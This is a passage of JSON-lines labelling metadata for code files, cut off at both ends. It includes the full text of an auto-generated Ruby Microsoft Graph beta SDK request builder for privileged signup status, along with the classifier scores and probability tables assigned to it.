1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "math_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0000000000000004, "mass_delta": 4.440892098500626e-16, "missing_mass": 0.0, "excess_mass": 4.440892098500626e-16, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 12300, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 12300, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:34:02.907491+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "648ab7f8-8377-4361-8a70-db5b835f88d7", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "42af39e430f180ca65f47a3715b4fd9df76f22424cf21c6a516105aaac27308a", "source_metadata": {"uuid": "648ab7f8-8377-4361-8a70-db5b835f88d7", "repo_name": "ServerMonitoringHQ/ServerMonHQ", "relative_path": "lib/tasks/scheduler.rake", "category": "TOOL", "algo_rel_score": 0.8077747821807861, "quality_score": 4.602353572845459, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 263, "repo_created_at": "2014-11-02T14:03:52.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "c55caccffedc4432964875ae3bf531261032fafd", "size_bytes": 13209, "file_timestamp": 1375176083, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "2094e022734da7e7b6ae5ee4214710ce0a0ca589"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 263, "repo_created_at": "2014-11-02T14:03:52.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "c55caccffedc4432964875ae3bf531261032fafd", "size_bytes": 13209, "file_timestamp": 1375176083, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "2094e022734da7e7b6ae5ee4214710ce0a0ca589", "url": "https://github.com/ServerMonitoringHQ/ServerMonHQ/blob/2094e022734da7e7b6ae5ee4214710ce0a0ca589/lib/tasks/scheduler.rake"}, "gpt4o_tokens": 3603, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.229155411023375, "noise_severity": 0.13636564247538083, "missing_content_severity": 0.06809271964102184, "factual_density": 3.1961211349418055, "pretraining_utility": 0.2979350121603251, "math_density": 0.7538720535778053, "code_density": 3.789894881774363, "reasoning_density": 0.7493115000736487, "education_level": 2.4781881192240443, "creative_writing_quality": -0.3769878866134104}, "score_applicability": {"education_level": 0.9989985339088424, "creative_writing_quality": 0.0007483881940711033}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/microsoftgraph/msgraph-beta-sdk-ruby/blob/553ad544e17410a3cad8028206cacaf1310077a2/lib/privileged_signup_status/privileged_signup_status_request_builder.rb", "id": "ruby-0-2cdc3777f1eb937ae68c32b37adff206", "text": "require 'microsoft_kiota_abstractions'\nrequire_relative '../microsoft_graph_beta'\nrequire_relative '../models/o_data_errors_o_data_error'\nrequire_relative '../models/privileged_signup_status'\nrequire_relative '../models/privileged_signup_status_collection_response'\nrequire_relative './can_sign_up/can_sign_up_request_builder'\nrequire_relative './complete_setup/complete_setup_request_builder'\nrequire_relative './count/count_request_builder'\nrequire_relative './is_signed_up/is_signed_up_request_builder'\nrequire_relative './item/privileged_signup_status_item_request_builder'\nrequire_relative './privileged_signup_status'\nrequire_relative './sign_up/sign_up_request_builder'\n\nmodule MicrosoftGraphBeta\n module PrivilegedSignupStatus\n ## \n # Provides operations to manage the collection of privilegedSignupStatus entities.\n class PrivilegedSignupStatusRequestBuilder < MicrosoftKiotaAbstractions::BaseRequestBuilder\n \n ## \n # Provides operations to call the canSignUp method.\n def can_sign_up()\n return MicrosoftGraphBeta::PrivilegedSignupStatus::CanSignUp::CanSignUpRequestBuilder.new(@path_parameters, @request_adapter)\n end\n ## \n # Provides operations to call the completeSetup method.\n def complete_setup()\n return MicrosoftGraphBeta::PrivilegedSignupStatus::CompleteSetup::CompleteSetupRequestBuilder.new(@path_parameters, @request_adapter)\n end\n ## \n # Provides operations to count the resources in the collection.\n def count()\n return MicrosoftGraphBeta::PrivilegedSignupStatus::Count::CountRequestBuilder.new(@path_parameters, @request_adapter)\n end\n ## \n # Provides operations to call the isSignedUp method.\n def is_signed_up()\n return MicrosoftGraphBeta::PrivilegedSignupStatus::IsSignedUp::IsSignedUpRequestBuilder.new(@path_parameters, @request_adapter)\n end\n ## \n # Provides operations to call the signUp method.\n def sign_up()\n return MicrosoftGraphBeta::PrivilegedSignupStatus::SignUp::SignUpRequestBuilder.new(@path_parameters, @request_adapter)\n end\n ## \n ## Provides operations to manage the collection of privilegedSignupStatus entities.\n ## @param privileged_signup_status_id The unique identifier of privilegedSignupStatus\n ## @return a privileged_signup_status_item_request_builder\n ## \n def by_privileged_signup_status_id(privileged_signup_status_id)\n raise StandardError, 'privileged_signup_status_id cannot be null' if privileged_signup_status_id.nil?\n url_tpl_params = @path_parameters.clone\n url_tpl_params[\"privilegedSignupStatus%2Did\"] = privileged_signup_status_id\n return MicrosoftGraphBeta::PrivilegedSignupStatus::Item::PrivilegedSignupStatusItemRequestBuilder.new(url_tpl_params, @request_adapter)\n end\n ## \n ## Instantiates a new PrivilegedSignupStatusRequestBuilder and sets the default values.\n ## @param path_parameters Path parameters for the request\n ## @param request_adapter The request adapter to use to execute the requests.\n ## @return a void\n ## \n def initialize(path_parameters, request_adapter)\n super(path_parameters, request_adapter, \"{+baseurl}/privilegedSignupStatus{?%24top,%24skip,%24search,%24filter,%24count,%24orderby,%24select,%24expand}\")\n end\n ## \n ## Get entities from privilegedSignupStatus\n ## @param request_configuration Configuration for the request such as headers, query parameters, and middleware options.\n ## @return a Fiber of privileged_signup_status_collection_response\n ## \n def get(request_configuration=nil)\n request_info = self.to_get_request_information(\n request_configuration\n )\n error_mapping = Hash.new\n error_mapping[\"4XX\"] = lambda {|pn| MicrosoftGraphBeta::Models::ODataErrorsODataError.create_from_discriminator_value(pn) }\n error_mapping[\"5XX\"] = lambda {|pn| MicrosoftGraphBeta::Models::ODataErrorsODataError.create_from_discriminator_value(pn) }\n return @request_adapter.send_async(request_info, lambda {|pn| MicrosoftGraphBeta::Models::PrivilegedSignupStatusCollectionResponse.create_from_discriminator_value(pn) }, error_mapping)\n end\n ## \n ## Add new entity to privilegedSignupStatus\n ## @param body The request body\n ## @param request_configuration Configuration for the request such as headers, query parameters, and middleware options.\n ## @return a Fiber of privileged_signup_status\n ## \n def post(body, request_configuration=nil)\n raise StandardError, 'body cannot be null' if body.nil?\n request_info = self.to_post_request_information(\n body, request_configuration\n )\n error_mapping = Hash.new\n error_mapping[\"4XX\"] = lambda {|pn| MicrosoftGraphBeta::Models::ODataErrorsODataError.create_from_discriminator_value(pn) }\n error_mapping[\"5XX\"] = lambda {|pn| MicrosoftGraphBeta::Models::ODataErrorsODataError.create_from_discriminator_value(pn) }\n return @request_adapter.send_async(request_info, lambda {|pn| MicrosoftGraphBeta::Models::PrivilegedSignupStatus.create_from_discriminator_value(pn) }, error_mapping)\n end\n ## \n ## Get entities from privilegedSignupStatus\n ## @param request_configuration Configuration for the request such as headers, query parameters, and middleware options.\n ## @return a request_information\n ## \n def to_get_request_information(request_configuration=nil)\n request_info = MicrosoftKiotaAbstractions::RequestInformation.new()\n request_info.url_template = @url_template\n request_info.path_parameters = @path_parameters\n request_info.http_method = :GET\n request_info.headers.add('Accept', 'application/json')\n unless request_configuration.nil?\n request_info.add_headers_from_raw_object(request_configuration.headers)\n request_info.set_query_string_parameters_from_raw_object(request_configuration.query_parameters)\n request_info.add_request_options(request_configuration.options)\n end\n return request_info\n end\n ## \n ## Add new entity to privilegedSignupStatus\n ## @param body The request body\n ## @param request_configuration Configuration for the request such as headers, query parameters, and middleware options.\n ## @return a request_information\n ## \n def to_post_request_information(body, request_configuration=nil)\n raise StandardError, 'body cannot be null' if body.nil?\n request_info = MicrosoftKiotaAbstractions::RequestInformation.new()\n request_info.url_template = @url_template\n request_info.path_parameters = @path_parameters\n request_info.http_method = :POST\n request_info.headers.add('Accept', 'application/json')\n unless request_configuration.nil?\n request_info.add_headers_from_raw_object(request_configuration.headers)\n request_info.add_request_options(request_configuration.options)\n end\n request_info.set_content_from_parsable(@request_adapter, \"application/json\", body)\n return request_info\n end\n\n ## \n # Get entities from privilegedSignupStatus\n class PrivilegedSignupStatusRequestBuilderGetQueryParameters\n \n ## \n # Include count of items\n attr_accessor :count\n ## \n # Expand related entities\n attr_accessor :expand\n ## \n # Filter items by property values\n attr_accessor :filter\n ## \n # Order items by property values\n attr_accessor :orderby\n ## \n # Search items by search phrases\n attr_accessor :search\n ## \n # Select properties to be returned\n attr_accessor :select\n ## \n # Skip the first n items\n attr_accessor :skip\n ## \n # Show only the first n items\n attr_accessor :top\n ## \n ## Maps the query parameters names to their encoded names for the URI template parsing.\n ## @param original_name The original query parameter name in the class.\n ## @return a string\n ## \n def get_query_parameter(original_name)\n raise StandardError, 'original_name cannot be null' if original_name.nil?\n case original_name\n when \"count\"\n return \"%24count\"\n when \"expand\"\n return \"%24expand\"\n when \"filter\"\n return \"%24filter\"\n when \"orderby\"\n return \"%24orderby\"\n when \"search\"\n return \"%24search\"\n when \"select\"\n return \"%24select\"\n when \"skip\"\n return \"%24skip\"\n when \"top\"\n return \"%24top\"\n else\n return original_name\n end\n end\n end\n end\n end\nend\n", "text_preview": "require 'microsoft_kiota_abstractions' require_relative '../microsoft_graph_beta' require_relative '../models/o_data_errors_o_data_error' require_relative '../models/privileged_signup_status' require_relative '../models/privileged_signup_st", "input_sha256": "47e5d123e1901487f0b5bbef5691691448596dd26934728b2be4f9a1ec68cc69", "text_sha256": "2cdc3777f1eb937ae68c32b37adff2061612ad63ce10ec043851350e0617b7b0", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16071, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.1634743398765108, "noise_severity": 0.030667146772478983, "missing_content_severity": 0.006331144378521798, "factual_density": 3.311796587480376, "pretraining_utility": 0.1163995954238404, "math_density": 0.003711802696388541, "code_density": 3.8814452336760303, "reasoning_density": 0.08046174067126936, "education_level": 2.5823635808864123, "creative_writing_quality": -0.29474718294926455}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.009124502882733254, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9977167925423006, "secondary": 0.9771074474791601, "tertiary": 0.986628667878534, "structured_records": 0.026024014404522473, "procedural_steps": 0.0027487799427177283, "worked_solution": 0.0013179026501136707, "contextual_dialogue": 6.97362933930739e-06, "content_quality": 0.5816770921779142, "noise_severity": 0.9744440443562675, "missing_content_severity": 0.9947240463512318, "factual_density": 0.4264971562336465, "pretraining_utility": 0.5414400887624413, "math_density": 0.9969068310863429, "code_density": 0.9012043613966918, "reasoning_density": 0.9329485494406089, "education_level": 0.37282431477024813, "creative_writing_quality": 0.9996898864501049, "primary_topic": 0.9954529565416219, "secondary_topic": 0.9651265352855087}, "probability_margin": {"primary": 0.9968653289205077, "secondary": 0.9671969360080062, "tertiary": 0.9818136958103904, "education_level": 0.03483168011671456, "creative_writing_quality": 0.9996204074446854, "primary_topic": 0.9931538602122912, "secondary_topic": 0.9527886212652834}, "raw_probabilities": {"primary": {"Academic Writing": 1.673618258324109e-05, "Content Listing": 2.2049360080222863e-05, "Creative Writing": 5.659062114217928e-06, "Customer Support Page": 7.614276197435466e-06, "Q&A Forum": 5.732577198556258e-06, "Discussion Thread": 2.9818175731930846e-06, "Comment Section": 6.1721003866361294e-06, "Missing Content": 1.2412065892245862e-05, "Knowledge Article": 4.663787016183683e-05, "Legal Notices": 2.0873565432880857e-05, "News Article": 2.3398333333384203e-06, "Organizational Announcement": 6.25557541487627e-06, "Nonfiction Writing": 3.9100386233442425e-06, "Organizational About Page": 6.862020641444137e-06, "Personal About Page": 4.5186787801608195e-06, "Personal Blog": 3.733271726961092e-06, "Product Page": 4.568384862936895e-06, "Spam / Ads": 4.567855548319392e-06, "Structured Data": 0.0009465972658637027, "Technical Writing": 0.9978119261863714, "Transcript / Interview": 8.838170837179707e-06, "Tutorial / How-To Guide": 0.00011833244399294154, "User Reviews": 3.20885285990204e-06, "Other / Unknown": 0.0009274725435229028}, "secondary": {"Academic Writing": 0.00013552577803880819, "Content Listing": 0.00037816106353650967, "Creative Writing": 8.953509175903368e-05, "Customer Support Page": 0.00012363073603436874, "Q&A Forum": 4.539815523808181e-05, "Discussion Thread": 3.23199428152482e-05, "Comment Section": 0.00011810824074652841, "Missing Content": 0.00023344009777001142, "Knowledge Article": 0.0010422787374899476, "Legal Notices": 0.00022298389415803527, "News Article": 5.8743163188326665e-05, "Organizational Announcement": 6.479279279703746e-05, "Nonfiction Writing": 5.247488107366641e-05, "Organizational About Page": 7.562795497140546e-05, "Personal About Page": 4.972340970070738e-05, "Personal Blog": 5.1182292970124105e-05, "Product Page": 4.4559514819238826e-05, "Spam / Ads": 6.846629264105235e-05, "Structured Data": 0.007585737429633754, "Technical Writing": 0.010864367826188935, "Transcript / Interview": 7.096415601391433e-05, "Tutorial / How-To Guide": 0.0005011229763811117, "User Reviews": 2.9551737839028864e-05, "NONE": 0.9780613038341951}, "tertiary": {"Academic Writing": 8.096296004507199e-05, "Content Listing": 0.0004803596499288381, "Creative Writing": 5.967952980910805e-05, "Customer Support Page": 7.567788140301057e-05, "Q&A Forum": 2.6900774696684596e-05, "Discussion Thread": 1.9748948191341803e-05, "Comment Section": 0.00011583359630998366, "Missing Content": 0.0002464484524410792, "Knowledge Article": 0.000711185610589258, "Legal Notices": 0.0002188965437585768, "News Article": 3.9254166564671344e-05, "Organizational Announcement": 4.1240301130610314e-05, "Nonfiction Writing": 3.276738250965477e-05, "Organizational About Page": 6.156688590833017e-05, "Personal About Page": 3.17055053509374e-05, "Personal Blog": 3.163027506013991e-05, "Product Page": 3.060840001361294e-05, "Spam / Ads": 4.5813249348230116e-05, "Structured Data": 0.00446727410904098, "Technical Writing": 0.005372110906538003, "Transcript / Interview": 4.072020730536626e-05, "Tutorial / How-To Guide": 0.0005646492970079861, "User Reviews": 1.9158650120243123e-05, "NONE": 0.9871858067169283}, "structured_records": {"false": 0.9739759855954775, "true": 0.026024014404522473}, "procedural_steps": {"false": 0.9972512200572823, "true": 0.0027487799427177283}, "worked_solution": {"false": 0.9986820973498863, "true": 0.0013179026501136707}, "contextual_dialogue": {"false": 0.9999930263706607, "true": 6.97362933930739e-06}, "content_quality": {"-2": 0.004013083501072163, "-1": 0.0077239580632986705, "0": 0.14176940812518224, "1": 0.51376263567894, "2": 0.3327309146315069}, "noise_severity": {"0": 0.9735650942632994, "1": 0.02328484599563857, "2": 0.002367761715517625, "3": 0.0004824147563721444, "4": 0.0002998832691721807}, "missing_content_severity": {"0": 0.9967941729641093, "1": 0.0010553666791439677, "2": 0.0013318031572279447, "3": 0.0006624574131529106, "4": 0.00015619978636580224}, "factual_density": {"0": 0.004085346048260683, "1": 0.009168652952979481, "2": 0.107401212944684, "3": 0.429553643578275, "4": 0.4497911444758008}, "pretraining_utility": {"-2": 0.01201338746894122, "-1": 0.1929093740927326, "0": 0.4962486730362466, "1": 0.2643213863497038, "2": 0.03450717905237581}, "math_density": {"0": 0.9981682167158652, "1": 0.0010210217159707423, "2": 0.00018102452170137208, "3": 0.00019021624883596631, "4": 0.00043952079762678894}, "code_density": {"0": 0.0001889572870871621, "1": 0.0003608967404839777, "2": 0.008466972281953198, "3": 0.0997823023902629, "4": 0.8912008713002129}, "reasoning_density": {"0": 0.9418207275949914, "1": 0.039135678138443805, "2": 0.016568228576109928, "3": 0.001711857381213422, "4": 0.0007635083092413561}, "education_level": {"none": 0.001236731182316027, "0": 0.0013693636009770047, "1": 0.004392207578689778, "2": 0.4773535956418734, "3": 0.44252191552515885, "4": 0.07312618647098487}, "creative_writing_quality": {"not_applicable": 0.9997415720417541, "-2": 3.683485811401496e-05, "-1": 5.77628440327686e-05, "0": 0.00012116459706867095, "1": 3.006967048802542e-05, "2": 1.2595988542256119e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 2.732530965246074e-05, "Art & Design": 2.5951356379844688e-05, "Law & Crime": 6.26526727836485e-05, "Education & Careers": 6.328546523797087e-05, "Entertainment & Media": 1.6528833846691746e-05, "Fashion & Beauty": 1.863257179195163e-05, "Business, Economics & Finance": 0.0002903999541373744, "Food & Dining": 1.985701881530235e-05, "Games & Gaming": 3.449513891331107e-05, "Electronics & Hardware": 9.238331039653875e-05, "Health, Healthcare & Wellness": 3.8365288264031836e-05, "History & Geography": 1.8792727708208822e-05, "Home, Pets & Hobbies": 1.6151511149506055e-05, "Industry & Production": 1.8974480200758868e-05, "Language, Literature & Philosophy": 3.150306633017838e-05, "Politics & Government": 0.00035328343553990045, "Religion & Spirituality": 2.980794928347446e-05, "Science, Mathematics & Engineering": 6.447266706838206e-05, "Relationships & Community": 3.813223830617626e-05, "Software Usage & Applications": 0.0024739826161913102, "Programming & Software Engineering": 0.9956278428284826, "Sports & Fitness": 3.0019998421135642e-05, "Vehicles & Transportation": 1.3041336141309887e-05, "Travel & Tourism": 2.657388277424955e-05, "Other / Uncovered Subject": 0.00040780402657396514, "Unknown / Insufficient Content": 0.00015974031560989394}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00021330063214495323, "Art & Design": 0.0001592781790778392, "Law & Crime": 0.0018019448416086287, "Education & Careers": 0.0002495209584624959, "Entertainment & Media": 0.0001560459654025678, "Fashion & Beauty": 8.692019148886918e-05, "Business, Economics & Finance": 0.0010594304653965601, "Food & Dining": 9.533314606864805e-05, "Games & Gaming": 0.00015072168062348128, "Electronics & Hardware": 0.0002463966144755359, "Health, Healthcare & Wellness": 0.0001955357499858312, "History & Geography": 9.849099139371585e-05, "Home, Pets & Hobbies": 7.418098176373266e-05, "Industry & Production": 7.054656669321138e-05, "Language, Literature & Philosophy": 0.00010048892875796197, "Politics & Government": 0.0019748985603184324, "Religion & Spirituality": 0.00013754352344389552, "Science, Mathematics & Engineering": 0.00023190458102688194, "Relationships & Community": 0.00011661250509337015, "Software Usage & Applications": 0.011871849939662988, "Programming & Software Engineering": 0.013679201124628835, "Sports & Fitness": 8.37336273700988e-05, "Vehicles & Transportation": 4.3579460212136355e-05, "Travel & Tourism": 0.00011018550408919, "Other / Uncovered Subject": 0.0005245328908978338, "NONE": 0.9664678223899122}}, "probabilities": {"primary": {"Academic Writing": 1.6736182583241092e-05, "Content Listing": 2.2049360080222866e-05, "Creative Writing": 5.659062114217929e-06, "Customer Support Page": 7.6142761974354665e-06, "Q&A Forum": 5.732577198556259e-06, "Discussion Thread": 2.981817573193085e-06, "Comment Section": 6.17210038663613e-06, "Missing Content": 1.2412065892245864e-05, "Knowledge Article": 4.663787016183684e-05, "Legal Notices": 2.087356543288086e-05, "News Article": 2.3398333333384207e-06, "Organizational Announcement": 6.255575414876271e-06, "Nonfiction Writing": 3.910038623344243e-06, "Organizational About Page": 6.862020641444138e-06, "Personal About Page": 4.51867878016082e-06, "Personal Blog": 3.7332717269610923e-06, "Product Page": 4.568384862936896e-06, "Spam / Ads": 4.5678555483193924e-06, "Structured Data": 0.0009465972658637028, "Technical Writing": 0.9978119261863715, "Transcript / Interview": 8.838170837179709e-06, "Tutorial / How-To Guide": 0.00011833244399294155, "User Reviews": 3.2088528599020406e-06, "Other / Unknown": 0.0009274725435229029}, "secondary": {"Academic Writing": 0.00013552577803880819, "Content Listing": 0.00037816106353650967, "Creative Writing": 8.953509175903368e-05, "Customer Support Page": 0.00012363073603436874, "Q&A Forum": 4.539815523808181e-05, "Discussion Thread": 3.23199428152482e-05, "Comment Section": 0.00011810824074652841, "Missing Content": 0.00023344009777001142, "Knowledge Article": 0.0010422787374899476, "Legal Notices": 0.00022298389415803527, "News Article": 5.8743163188326665e-05, "Organizational Announcement": 6.479279279703746e-05, "Nonfiction Writing": 5.247488107366641e-05, "Organizational About Page": 7.562795497140546e-05, "Personal About Page": 4.972340970070738e-05, "Personal Blog": 5.1182292970124105e-05, "Product Page": 4.4559514819238826e-05, "Spam / Ads": 6.846629264105235e-05, "Structured Data": 0.007585737429633754, "Technical Writing": 0.010864367826188935, "Transcript / Interview": 7.096415601391433e-05, "Tutorial / How-To Guide": 0.0005011229763811117, "User Reviews": 2.9551737839028864e-05, "NONE": 0.9780613038341951}, "tertiary": {"Academic Writing": 8.096296004507199e-05, "Content Listing": 0.0004803596499288381, "Creative Writing": 5.967952980910805e-05, "Customer Support Page": 7.567788140301057e-05, "Q&A Forum": 2.6900774696684596e-05, "Discussion Thread": 1.9748948191341803e-05, "Comment Section": 0.00011583359630998366, "Missing Content": 0.0002464484524410792, "Knowledge Article": 0.000711185610589258, "Legal Notices": 0.0002188965437585768, "News Article": 3.9254166564671344e-05, "Organizational Announcement": 4.1240301130610314e-05, "Nonfiction Writing": 3.276738250965477e-05, "Organizational About Page": 6.156688590833017e-05, "Personal About Page": 3.17055053509374e-05, "Personal Blog": 3.163027506013991e-05, "Product Page": 3.060840001361294e-05, "Spam / Ads": 4.5813249348230116e-05, "Structured Data": 0.00446727410904098, "Technical Writing": 0.005372110906538003, "Transcript / Interview": 4.072020730536626e-05, "Tutorial / How-To Guide": 0.0005646492970079861, "User Reviews": 1.9158650120243123e-05, "NONE": 0.9871858067169283}, "structured_records": {"false": 0.9739759855954775, "true": 0.026024014404522473}, "procedural_steps": {"false": 0.9972512200572823, "true": 0.0027487799427177283}, "worked_solution": {"false": 0.9986820973498863, "true": 0.0013179026501136707}, "contextual_dialogue": {"false": 0.9999930263706607, "true": 6.97362933930739e-06}, "content_quality": {"-2": 0.004013083501072163, "-1": 0.0077239580632986705, "0": 0.14176940812518224, "1": 0.51376263567894, "2": 0.3327309146315069}, "noise_severity": {"0": 0.9735650942632995, "1": 0.023284845995638574, "2": 0.0023677617155176255, "3": 0.00048241475637214446, "4": 0.0002998832691721808}, "missing_content_severity": {"0": 0.9967941729641093, "1": 0.0010553666791439677, "2": 0.0013318031572279447, "3": 0.0006624574131529106, "4": 0.00015619978636580224}, "factual_density": {"0": 0.004085346048260683, "1": 0.009168652952979481, "2": 0.107401212944684, "3": 0.429553643578275, "4": 0.4497911444758008}, "pretraining_utility": {"-2": 0.01201338746894122, "-1": 0.1929093740927326, "0": 0.4962486730362466, "1": 0.2643213863497038, "2": 0.03450717905237581}, "math_density": {"0": 0.9981682167158652, "1": 0.0010210217159707423, "2": 0.00018102452170137208, "3": 0.00019021624883596631, "4": 0.00043952079762678894}, "code_density": {"0": 0.0001889572870871621, "1": 0.0003608967404839777, "2": 0.008466972281953198, "3": 0.0997823023902629, "4": 0.8912008713002129}, "reasoning_density": {"0": 0.9418207275949915, "1": 0.03913567813844381, "2": 0.01656822857610993, "3": 0.0017118573812134222, "4": 0.0007635083092413562}, "education_level": {"none": 0.0012367311823160273, "0": 0.0013693636009770049, "1": 0.004392207578689779, "2": 0.47735359564187346, "3": 0.4425219155251589, "4": 0.07312618647098489}, "creative_writing_quality": {"not_applicable": 0.9997415720417543, "-2": 3.6834858114014965e-05, "-1": 5.776284403276861e-05, "0": 0.00012116459706867097, "1": 3.0069670488025428e-05, "2": 1.2595988542256122e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 2.7325309652460733e-05, "Art & Design": 2.595135637984468e-05, "Law & Crime": 6.265267278364849e-05, "Education & Careers": 6.328546523797086e-05, "Entertainment & Media": 1.6528833846691742e-05, "Fashion & Beauty": 1.8632571791951627e-05, "Business, Economics & Finance": 0.00029039995413737436, "Food & Dining": 1.9857018815302347e-05, "Games & Gaming": 3.4495138913311065e-05, "Electronics & Hardware": 9.238331039653873e-05, "Health, Healthcare & Wellness": 3.836528826403183e-05, "History & Geography": 1.879272770820882e-05, "Home, Pets & Hobbies": 1.615151114950605e-05, "Industry & Production": 1.8974480200758865e-05, "Language, Literature & Philosophy": 3.1503066330178376e-05, "Politics & Government": 0.0003532834355399004, "Religion & Spirituality": 2.9807949283474453e-05, "Science, Mathematics & Engineering": 6.447266706838205e-05, "Relationships & Community": 3.813223830617625e-05, "Software Usage & Applications": 0.00247398261619131, "Programming & Software Engineering": 0.9956278428284824, "Sports & Fitness": 3.0019998421135635e-05, "Vehicles & Transportation": 1.3041336141309883e-05, "Travel & Tourism": 2.6573882774249545e-05, "Other / Uncovered Subject": 0.00040780402657396503, "Unknown / Insufficient Content": 0.00015974031560989392}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00021330063214495325, "Art & Design": 0.00015927817907783923, "Law & Crime": 0.001801944841608629, "Education & Careers": 0.00024952095846249593, "Entertainment & Media": 0.00015604596540256784, "Fashion & Beauty": 8.69201914888692e-05, "Business, Economics & Finance": 0.0010594304653965604, "Food & Dining": 9.533314606864807e-05, "Games & Gaming": 0.0001507216806234813, "Electronics & Hardware": 0.00024639661447553596, "Health, Healthcare & Wellness": 0.00019553574998583121, "History & Geography": 9.849099139371586e-05, "Home, Pets & Hobbies": 7.418098176373267e-05, "Industry & Production": 7.05465666932114e-05, "Language, Literature & Philosophy": 0.00010048892875796198, "Politics & Government": 0.001974898560318433, "Religion & Spirituality": 0.00013754352344389555, "Science, Mathematics & Engineering": 0.00023190458102688197, "Relationships & Community": 0.00011661250509337017, "Software Usage & Applications": 0.01187184993966299, "Programming & Software Engineering": 0.013679201124628837, "Sports & Fitness": 8.373362737009882e-05, "Vehicles & Transportation": 4.357946021213636e-05, "Travel & Tourism": 0.00011018550408919002, "Other / Uncovered Subject": 0.0005245328908978339, "NONE": 0.9664678223899124}}, "probability_diagnostics": {"primary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": 